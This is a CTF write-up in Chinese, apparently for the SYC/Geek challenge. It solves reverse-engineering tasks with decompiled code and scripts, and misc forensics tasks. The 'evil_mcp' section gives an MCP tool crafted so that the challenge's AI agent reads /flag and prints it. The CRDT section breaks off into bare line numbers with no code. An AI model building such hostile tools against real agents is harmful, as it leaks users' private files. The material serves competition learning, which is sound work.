cipher = [0x09, 0x03, 0x19, 0x21, 0x0D, 0x69, 0x6B, 0x39, 0x6A, 0x37, 0x69, 0x05, 0x2E, 0x6A, 0x05, 0x28, 0x69, 0x1A, 0x6B, 0x05, 0x28, 0x69, 0x2C, 0x3F, 0x28, 0x29, 0x3F, 0x7B, 0x27, 0x03]

# s = "SYC{"
# cipher = [0x09, 0x03, 0x19, 0x21]
# guess_key = [ord(c) ^ cipher[i] for i, c in enumerate(s)]
# print(guess_key)

key = 0x5A
flag = ''
for i in range(29):
    flag += chr(cipher[i]^key)
print(flag)

flag

1
SYC{W31c0m3_t0_r3@1_r3verse!}

GeekBinder

解题流程

直接把libattr.so拿ida打开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
__int64 __fastcall attr_xor_cipher(__int64 a1, size_t a2, _QWORD *a3, size_t *a4)
{
  void *v7; // [rsp+28h] [rbp-8h]

  if ( !a1 || !a2 || !a3 || !a4 )
    return 0xFFFFFFFFLL;
  v7 = malloc(a2);
  if ( !v7 )
    return 4294967294LL;
  sub_1119(a1, a2, (__int64)v7);
  *a3 = v7;
  *a4 = a2;
  return 0LL;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall attr_get_hidden_cipher(_QWORD *a1, _QWORD *a2)
{
  _QWORD *v3; // [rsp+18h] [rbp-18h]

  if ( !a1 || !a2 )
    return 0xFFFFFFFFLL;
  v3 = malloc(0x5BuLL);
  if ( !v3 )
    return 4294967294LL;
  *v3 = 0x7C725E7310263C34LL;
  v3[1] = 0x5D666F5505541F1ELL;
  v3[2] = 0x4601535D19153A54LL;
  v3[3] = 0x4266037034165614LL;
  v3[4] = 0x505E5974340B0002LL;
  v3[5] = 0x5B5D536D18543A54LL;
  v3[6] = 0x5A666F4B19251713LL;
  v3[7] = 0x6A5E705F19550B38LL;
  v3[8] = 0x651594608251717LL;
  v3[9] = 0x506D5560340B5438LL;
  v3[10] = 0x440555705540209LL;
  *((_WORD *)v3 + 44) = 521;
  *((_BYTE *)v3 + 90) = 24;
  *a1 = v3;
  *a2 = 91LL;
  return 0LL;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
unsigned __int64 __fastcall sub_1119(__int64 a1, unsigned __int64 a2, __int64 a3)
{
  unsigned __int64 result; // rax
  unsigned __int64 i; // [rsp+20h] [rbp-8h]

  for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    *(_BYTE *)(a3 + i) = *(_BYTE *)(a1 + i) ^ aGeek2025[i % 8];
  }
  return result;
}

最基础的异或加密,且key是geek2025

exp

alt text

flag

1
SYC{An@Iyz1ng_Th3_proc3ss3s_B3Tween_File3_1s_contr@ry_To_n0rm@l_pr@ctic3_1n_Re_eng1neer1ng}

obfuscat3

解题流程

这题代码量很大就不全粘进来了,但总结就这个关键

1
a1[i] += mysterious_box[(unsigned __int8)((int)(v19 - ((~(unsigned __int8)mysterious_box[v22] | ~((v13 & 0x7911131C | mysterious_box[v21] & 0xE3) ^ (mysterious_box[v22] & 0x1C | ~(unsigned __int8)mysterious_box[v22] & 0x86EEECE3))) + 1)) % 256)];

mysterious_box的数与密文相加,可以通过动调 alt text 在此处得到密文被处理后的结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0x53, 0x59, 0x43, 0x7b, 0x41, 0x6c, 0xb3, 0x69, 
0x67, 0x68, 0x74, 0x5f, 0x49, 0x5f, 0x73, 0x74, 
0x69, 0x31, 0x6c, 0x5f, 0x68, 0x30, 0x70, 0x65, 
0x5f, 0x74, 0x68, 0x33, 0x74, 0x5f, 0x79, 0x6f, 
0x75, 0x5f, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 
0x5f, 0x74, 0xbf, 0x65, 0x5f, 0x63, 0x68, 0xb5, 
0x6c, 0x6c, 0x33, 0x6e, 0x67, 0x65, 0x5f, 0x62, 
0x79, 0x5f, 0x64, 0x65, 0x6f, 0x62, 0xbd, 0x75, 
0x73, 0xba, 0x61, 0x74, 0x69, 0x6e, 0x67, 0x5f, 
0x74, 0x68, 0x65, 0x6d, 0x5f, 0x47, 0x65, 0x65, 
0xc1, 0x5f, 0x69, 0x73, 0x5f, 0x6a, 0x75, 0xcb, 
0x74, 0x5f, 0x74, 0x68, 0x65, 0x5f, 0x66, 0x69, 
0x72, 0x73, 0x74, 0x5f, 0x73, 0x74, 0x65, 0x70, 
0x5f, 0x6f, 0x66, 0x5f, 0x79, 0x6f, 0x75, 0x72, 
0x5f, 0x43, 0x54, 0x46, 0x5f, 0x6a, 0x6f, 0xcb, 
0x72, 0x6e, 0x65, 0x79, 0x5f, 0x49, 0x6d, 0x5f, 
0x67, 0x6c, 0x61, 0x64, 0x5f, 0x49, 0x5f, 0x63, 
0x6f, 0xca, 0x6c, 0x64, 0x5f, 0x62, 0x65, 0x5f, 
0x70, 0x61, 0x72, 0x74, 0x5f, 0x6f, 0x66, 0x5f, 
0x79, 0x6f, 0x75, 0x72, 0x5f, 0x67, 0x72, 0x6f, 
0x77, 0x74, 0x68, 0x5f, 0x47, 0x6f, 0x6f, 0x64, 
0x5f, 0x6c, 0x75, 0x63, 0x6b, 0x5f, 0x66, 0x6f, 
0x72, 0x5f, 0x79, 0x30, 0x75, 0x21, 0x7d, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

再将调试的时候中间修改的一部分改回去就行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
cipher = [0x53, 0x59, 0x43, 0x7b, 0x41, 0x6c, 0xb3, 0x69, 
0x67, 0x68, 0x74, 0x5f, 0x49, 0x5f, 0x73, 0x74, 
0x69, 0x31, 0x6c, 0x5f, 0x68, 0x30, 0x70, 0x65, 
0x5f, 0x74, 0x68, 0x33, 0x74, 0x5f, 0x79, 0x6f, 
0x75, 0x5f, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 
0x5f, 0x74, 0xbf, 0x65, 0x5f, 0x63, 0x68, 0xb5, 
0x6c, 0x6c, 0x33, 0x6e, 0x67, 0x65, 0x5f, 0x62, 
0x79, 0x5f, 0x64, 0x65, 0x6f, 0x62, 0xbd, 0x75, 
0x73, 0xba, 0x61, 0x74, 0x69, 0x6e, 0x67, 0x5f, 
0x74, 0x68, 0x65, 0x6d, 0x5f, 0x47, 0x65, 0x65, 
0xc1, 0x5f, 0x69, 0x73, 0x5f, 0x6a, 0x75, 0xcb, 
0x74, 0x5f, 0x74, 0x68, 0x65, 0x5f, 0x66, 0x69, 
0x72, 0x73, 0x74, 0x5f, 0x73, 0x74, 0x65, 0x70, 
0x5f, 0x6f, 0x66, 0x5f, 0x79, 0x6f, 0x75, 0x72, 
0x5f, 0x43, 0x54, 0x46, 0x5f, 0x6a, 0x6f, 0xcb, 
0x72, 0x6e, 0x65, 0x79, 0x5f, 0x49, 0x6d, 0x5f, 
0x67, 0x6c, 0x61, 0x64, 0x5f, 0x49, 0x5f, 0x63, 
0x6f, 0xca, 0x6c, 0x64, 0x5f, 0x62, 0x65, 0x5f, 
0x70, 0x61, 0x72, 0x74, 0x5f, 0x6f, 0x66, 0x5f, 
0x79, 0x6f, 0x75, 0x72, 0x5f, 0x67, 0x72, 0x6f, 
0x77, 0x74, 0x68, 0x5f, 0x47, 0x6f, 0x6f, 0x64, 
0x5f, 0x6c, 0x75, 0x63, 0x6b, 0x5f, 0x66, 0x6f, 
0x72, 0x5f, 0x79, 0x30, 0x75, 0x21, 0x7d, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
cipher[6] -= 65
cipher[42] -= 87
cipher[47] -= 84
cipher[62] -= 87
cipher[65] -= 87
cipher[80] -= 86
cipher[87] -= 88
cipher[119] -= 86
cipher[137] -= 85

for i in range(183):
    print(chr(cipher[i]))

flag

1
SYC{Alright_I_sti1l_h0pe_th3t_you_solved_the_chall3nge_by_deobfuscating_them_Geek_is_just_the_first_step_of_your_CTF_journey_Im_glad_I_could_be_part_of_your_growth_Good_luck_for_y0u!}

Lastone

解题流程

看看伪代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // eax
  int v4; // eax
  FILE *v5; // eax
  int v7; // [esp-8h] [ebp-150h]
  char v8; // [esp+0h] [ebp-148h]
  char v9; // [esp+0h] [ebp-148h]
  char v10; // [esp+0h] [ebp-148h]
  unsigned int v11; // [esp+10h] [ebp-138h]
  int i; // [esp+DCh] [ebp-6Ch]
  _BYTE v13[3]; // [esp+E8h] [ebp-60h] BYREF
  _BYTE v14[11]; // [esp+EBh] [ebp-5Dh] BYREF
  _BYTE v15[16]; // [esp+F6h] [ebp-52h] BYREF
  char v16[2]; // [esp+106h] [ebp-42h] BYREF
  char Buffer[44]; // [esp+110h] [ebp-38h] BYREF
  BOOL Wow64Process; // [esp+13Ch] [ebp-Ch] BYREF
  int savedregs; // [esp+148h] [ebp+0h] BYREF

  sub_AE125D(&unk_AEE0A3);
  Wow64Process = 0;
  GetCurrentProcess();
  v3 = (void *)sub_AE1186();
  IsWow64Process(v3, &Wow64Process);
  if ( sub_AE1186() && Wow64Process )
  {
    sub_AE1091("[+] Input your flag: ", v8);
    __acrt_iob_func(0);
    v5 = (FILE *)sub_AE1186();
    fgets(Buffer, 33, v5);
    if ( sub_AE1186() )
    {
      strcspn(Buffer, "\r\n");
      v11 = sub_AE1186();
      if ( v11 >= 0x21 )
        sub_AE1032();
      Buffer[v11] = 0;
      if ( strlen(Buffer) == 32 )
      {
        Encode(Buffer);
        qmemcpy(v13, "5g", 2);
        v13[2] = 5;
        qmemcpy(v14, "-t@S1AobEK", 10);
        v14[10] = 31;
        qmemcpy(v15, "W6_KsnOl_I]", 11);
        v15[11] = 127;
        v15[12] = 63;
        v15[13] = 121;
        v15[14] = 40;
        v15[15] = -46;
        qmemcpy(v16, "i~", sizeof(v16));
        for ( i = 0; i < 32; ++i )
        {
          if ( v13[i] != Buffer[i] )
          {
            sub_AE1091("Wrong\n", v9);
            v4 = 0;
            goto LABEL_16;
          }
        }
        sub_AE1091("Yes,Yes.\n", v9);
        sub_AE1091("This is my love.\nI LOVE YOU.\nThanks!\n", v10);
        v4 = 0;
      }
      else
      {
        sub_AE1091("[!] Wrong\n", v9);
        v4 = 1;
      }
    }
    else
    {
      sub_AE1091("[!] Wrong!\n", v9);
      v4 = 1;
    }
  }
  else
  {
    sub_AE1091("[!] Must run in 32-bit on 64-bit Windows\n", v8);
    v4 = 1;
  }
LABEL_16:
  v7 = v4;
  sub_AE113B(&savedregs, &dword_AE3CCC);
  return v7;
}
1
2
3
4
5
// attributes: thunk
int __cdecl Encode(int a1)
{
  return sub_AE2330(a1);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
__int64 __cdecl sub_AE2330(int a1)
{
  __int64 v1; // rax
  int v2; // edx
  __int64 v4; // [esp-8h] [ebp-CC0h]
  char v5; // [esp+0h] [ebp-CB8h]
  int v6; // [esp+3E8h] [ebp-8D0h]
  int v7; // [esp+3F4h] [ebp-8C4h]
  int v8; // [esp+400h] [ebp-8B8h]
  int v9; // [esp+40Ch] [ebp-8ACh]
  int j; // [esp+418h] [ebp-8A0h]
  int i; // [esp+424h] [ebp-894h]
  void *lpAddress; // [esp+458h] [ebp-860h]
  int v13; // [esp+464h] [ebp-854h] BYREF
  int v14; // [esp+468h] [ebp-850h]
  int v15; // [esp+46Ch] [ebp-84Ch]
  int v16; // [esp+470h] [ebp-848h]
  int savedregs; // [esp+CB8h] [ebp+0h] BYREF

  VirtualAlloc(0, 0x1000u, 0x3000u, 0x40u);
  lpAddress = (void *)sub_AE1186();
  if ( lpAddress )
  {
    memcpy(lpAddress, &unk_AEC260, 0x38u);
    for ( i = 0; i < 8; ++i )
      *((_BYTE *)lpAddress + i + 2) = sub_AE105A(8 * i, 0);
    byte_AEC4E0 = (int (__cdecl *)(_DWORD, _DWORD, _DWORD))lpAddress;
    *((_WORD *)&byte_AEC4E0 + 2) = 51;
    for ( j = 0; j < 8; ++j )
    {
      sub_AE10B4(&v13);
      if ( sub_AE11DB(&v13, (char *)&unk_AEC040 + 64 * j, dword_AEC240[j]) )
      {
        sub_AE1091("[!] Wrong\n", v5);
        VirtualFree(lpAddress, 0, 0x8000u);
        LODWORD(v1) = sub_AE1186();
        goto LABEL_12;
      }
      v9 = v13;
      v8 = v14;
      v7 = v15;
      v6 = v16;
      memset(&dword_AEC4E8, 0, 0x28u);
      dword_AEC4E8 = v13;
      dword_AEC4EC = 0;
      dword_AEC4F0 = v14;
      dword_AEC4F4 = 0;
      dword_AEC4F8 = v15;
      dword_AEC4FC = 0;
      dword_AEC500 = v16;
      dword_AEC504 = 0;
      dword_AEC508 = -1;
      MK_FP(*((_WORD *)&byte_AEC4E0 + 2), byte_AEC4E0)(v16, v2, 0);
      funcs_AE2612[dword_AEC508 & 0xF](a1 + 4 * j, 4, (v8 + v6 * v7) ^ (40503 * v9));
      sub_AE1186();
    }
    VirtualFree(lpAddress, 0, 0x8000u);
    LODWORD(v1) = sub_AE1186();
  }
  else
  {
    LODWORD(v1) = sub_AE1091("[!] Wrong\n", v5);
  }
LABEL_12:
  v4 = v1;
  sub_AE113B(&savedregs, &dword_AE2674);
  return v4;
}

其中加密的重点在于funcs_AE2612 alt text 这里这几个函数事实上用到的只有几个,直接逆了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include<stdio.h>
void fun5(char a1[], int a2){
    char v3;
    v3 = a1[0];
    a1[0] = a1[a2 - 1];
    a1[a2 - 1] = v3;
}

void fun1(char a1[], int a2, unsigned int a3){
    for(int i = 0;i < a2;i ++){
        a1[i] ^= a3 >> (8 * (i % 4));
    }
}

void fun13(char a1[], int a2, char a3){
    for(int i = a2 - 1;i >= 0;i --){
        if(i > 0){
            a1[i] ^= a1[i-1];
        }
        else if(i == 0){
            a1[i] ^= a3;
        }
    }
}

void fun7(char a1[], int a2){
    int ra2 = a2 / 2;
    char v3;
    for(int i = 0;i < ra2;i ++){
        v3 = a1[i];
        a1[i] = a1[a2 - 1 - i];
        a1[a2 - 1 - i] = v3;
    }
}

void fun4(char a1[], int a2, unsigned int a3){
    for(int i = 0;i < a2;i ++){
        a1[i] += a3 >> (8 * (i % 4));
    }
}

int main(void){
    char c[] = {'5','g',5,'-','t','@','S','1','A','o','b','E','K',31,'W','6','_','K','s','n','O','l','_','I',']',127,63,121,40,-46,'i','~'};
    char temp[4];
    char flag[32];
    for(int i = 0;i < 8;i ++){
        for(int j = 0;j < 4;j ++){
            temp[j] = c[j + i*4];
        }
        if(i == 0){
            temp[0] = 'S';
            temp[1] = 'Y';
            temp[2] = 'C';
            temp[3] = '{';
        }
        else if(i == 1){
            fun5(temp,4);
        }
        else if(i == 2){
            fun1(temp,4,0x000C5F1E);
        }
        else if(i == 3){
            fun13(temp,4,0x14);
        }
        else if(i == 4){
            fun5(temp,4);
        }
        else if(i == 5){
            fun7(temp,4);
        }
        else if(i == 6){
            fun4(temp,4,0x0020C619);
        }
        else if(i == 7){
            fun1(temp,4,0x03488718);
        }
        for(int j = 0;j < 4;j ++){
            flag[j + i*4] = temp[j];
        }
    }
    for(int i = 0;i < 32;i ++){
        printf("%c",flag[i]);
    }
}

flag

1
SYC{1@St_0nE_THanKs_I_lOvE_y0U!}

Misc

evil_mcp

解题流程

这里需要写一个mcp工具让题目的ai读取并打印flag 直接按照模板写就行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from typing import Any

@tool(
    name="get_flag",
    description="读取并输出flag文件内容",
    input_schema={
        "type": "object",
        "properties": {
            "file_path": {
                "type": "string",
                "description": "flag文件路径,默认为/flag"
            }
        },
        "required": []
    }
)
async def get_flag(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
    file_path = arguments.get('file_path', '/flag')
    
    try:
        with open(file_path, 'r') as f:
            flag_content = f.read().strip()
        
        content = (
            f"Flag内容: {flag_content}\n"
            f"session_id={context.session_id}, invocation_id={context.invocation_id}"
        )
        return ToolResult(content=content)
        
    except FileNotFoundError:
        print("error")
tool = get_flag

Bite off picture

解题流程

得到一个.zip文件,使用010打开并加载zip模板,从文件结尾读到了额外的数据

1
==gcyV2dyV2d

倒置后解Base64编码得到

1
werwerr

使用它解压zip,得到一张图片wow.png,但并不包含flag 使用010再打开图片,修改图片大小 alt text 再次打开图片发现flag alt text

flag

1
SYC{mi3c_13_really_fun!!!!!}

Blockchain SignIn

解题流程

直接打开

1
0x208e0465ea757073d0ec6af9094e5404ef81a213970eb580fa6a28a3af4669d6

的交易 从输入数据处得到

1
0x5359437b773362335f67346d335f73743472747d

直接用Cyberchef from hex解

flag

1
SYC{w3b3_g4m3_st4rt}

hidden

解题流程

拿到docx文件,直接解压,从word/document.xml得到 alt text 从doc/word.txt得到

1
flag2:MzYyZ2V5ZGd3dW5rZHdlZQ==

解Base64得到

1
362geydgwunkdwee

最后一张图片无法打开,使用010检查,发现文件头损坏,补上即可 alt text 得到 alt text

flag

1
SYC{adasd362geydgwunkdweesjdmd}

CRDT

解题流程

下载得到一份CRDT记录,直接按照顺序操作一一遍就行, 但直接徒手操作太不健康了,所以选择使用py辅助

exp

   1
   2
   3
   4
   5
   6
   7
   8
   9
  10
  11
  12
  13
  14
  15
  16
  17
  18
  19
  20
  21
  22
  23
  24
  25
  26
  27
  28
  29
  30
  31
  32
  33
  34
  35
  36
  37
  38
  39
  40
  41
  42
  43
  44
  45
  46
  47
  48
  49
  50
  51
  52
  53
  54
  55
  56
  57
  58
  59
  60
  61
  62
  63
  64
  65
  66
  67
  68
  69
  70
  71
  72
  73
  74
  75
  76
  77
  78
  79
  80
  81
  82
  83
  84
  85
  86
  87
  88
  89
  90
  91
  92
  93
  94
  95
  96
  97
  98
  99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 181
 182
 183
 184
 185
 186
 187
 188
 189
 190
 191
 192
 193
 194
 195
 196
 197
 198
 199
 200
 201
 202
 203
 204
 205
 206
 207
 208
 209
 210
 211
 212
 213
 214
 215
 216
 217
 218
 219
 220
 221
 222
 223
 224
 225
 226
 227
 228
 229
 230
 231
 232
 233
 234
 235
 236
 237
 238
 239
 240
 241
 242
 243
 244
 245
 246
 247
 248
 249
 250
 251
 252
 253
 254
 255
 256
 257
 258
 259
 260
 261
 262
 263
 264
 265
 266
 267
 268
 269
 270
 271
 272
 273
 274
 275
 276
 277
 278
 279
 280
 281
 282
 283
 284
 285
 286
 287
 288
 289
 290
 291
 292
 293
 294
 295
 296
 297
 298
 299
 300
 301
 302
 303
 304
 305
 306
 307
 308
 309
 310
 311
 312
 313
 314
 315
 316
 317
 318
 319
 320
 321
 322
 323
 324
 325
 326
 327
 328
 329
 330
 331
 332
 333
 334
 335
 336
 337
 338
 339
 340
 341
 342
 343
 344
 345
 346
 347
 348
 349
 350
 351
 352
 353
 354
 355
 356
 357
 358
 359
 360
 361
 362
 363
 364
 365
 366
 367
 368
 369
 370
 371
 372
 373
 374
 375
 376
 377
 378
 379
 380
 381
 382
 383
 384
 385
 386
 387
 388
 389
 390
 391
 392
 393
 394
 395
 396
 397
 398
 399
 400
 401
 402
 403
 404
 405
 406
 407
 408
 409
 410
 411
 412
 413
 414
 415
 416
 417
 418
 419
 420
 421
 422
 423
 424
 425
 426
 427
 428
 429
 430
 431
 432
 433
 434
 435
 436
 437
 438
 439
 440
 441
 442
 443
 444
 445
 446
 447
 448
 449
 450
 451
 452
 453
 454
 455
 456
 457
 458
 459
 460
 461
 462
 463
 464
 465
 466
 467
 468
 469
 470
 471
 472
 473
 474
 475
 476
 477
 478
 479
 480
 481
 482
 483
 484
 485
 486
 487
 488
 489
 490
 491
 492
 493
 494
 495
 496
 497
 498
 499
 500
 501
 502
 503
 504
 505
 506
 507
 508
 509
 510
 511
 512
 513
 514
 515
 516
 517
 518
 519
 520
 521
 522
 523
 524
 525
 526
 527
 528
 529
 530
 531
 532
 533
 534
 535
 536
 537
 538
 539
 540
 541
 542
 543
 544
 545
 546
 547
 548
 549
 550
 551
 552
 553
 554
 555
 556
 557
 558
 559
 560
 561
 562
 563
 564
 565
 566
 567
 568
 569
 570
 571
 572
 573
 574
 575
 576
 577
 578
 579
 580
 581
 582
 583
 584
 585
 586
 587
 588
 589
 590
 591
 592
 593
 594
 595
 596
 597
 598
 599
 600
 601
 602
 603
 604
 605
 606
 607
 608
 609
 610
 611
 612
 613
 614
 615
 616
 617
 618
 619
 620
 621
 622
 623
 624
 625
 626
 627
 628
 629
 630
 631
 632
 633
 634
 635
 636
 637
 638
 639
 640
 641
 642
 643
 644
 645
 646
 647
 648
 649
 650
 651
 652
 653
 654
 655
 656
 657
 658
 659
 660
 661
 662
 663
 664
 665
 666
 667
 668
 669
 670
 671
 672
 673
 674
 675
 676
 677
 678
 679
 680
 681
 682
 683
 684
 685
 686
 687
 688
 689
 690
 691
 692
 693
 694
 695
 696
 697
 698
 699
 700
 701
 702
 703
 704
 705
 706
 707
 708
 709
 710
 711
 712
 713
 714
 715
 716
 717
 718
 719
 720
 721
 722
 723
 724
 725
 726
 727
 728
 729
 730
 731
 732
 733
 734
 735
 736
 737
 738
 739
 740
 741
 742
 743
 744
 745
 746
 747
 748
 749
 750
 751
 752
 753
 754
 755
 756
 757
 758
 759
 760
 761
 762
 763
 764
 765
 766
 767
 768
 769
 770
 771
 772
 773
 774
 775
 776
 777
 778
 779
 780
 781
 782
 783
 784
 785
 786
 787
 788
 789
 790
 791
 792
 793
 794
 795
 796
 797
 798
 799
 800
 801
 802
 803
 804
 805
 806
 807
 808
 809
 810
 811
 812
 813
 814
 815
 816
 817
 818
 819
 820
 821
 822
 823
 824
 825
 826
 827
 828
 829
 830
 831
 832
 833
 834
 835
 836
 837
 838
 839
 840
 841
 842
 843
 844
 845
 846
 847
 848
 849
 850
 851
 852
 853
 854
 855
 856
 857
 858
 859
 860
 861
 862
 863
 864
 865
 866
 867
 868
 869
 870
 871
 872
 873
 874
 875
 876
 877
 878
 879
 880
 881
 882
 883
 884
 885
 886
 887
 888
 889
 890
 891
 892
 893
 894
 895
 896
 897
 898
 899
 900
 901
 902
 903
 904
 905
 906
 907
 908
 909
 910
 911
 912
 913
 914
 915
 916
 917
 918
 919
 920
 921
 922
 923
 924
 925
 926
 927
 928
 929
 930
 931
 932
 933
 934
 935
 936
 937
 938
 939
 940
 941
 942
 943
 944
 945
 946
 947
 948
 949
 950
 951
 952
 953
 954
 955
 956
 957
 958
 959
 960
 961
 962
 963
 964
 965
 966
 967
 968
 969
 970
 971
 972
 973
 974
 975
 976
 977
 978
 979
 980
 981
 982
 983
 984
 985
 986
 987
 988
 989
 990
 991
 992
 993
 994
 995
 996
 997
 998
 999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
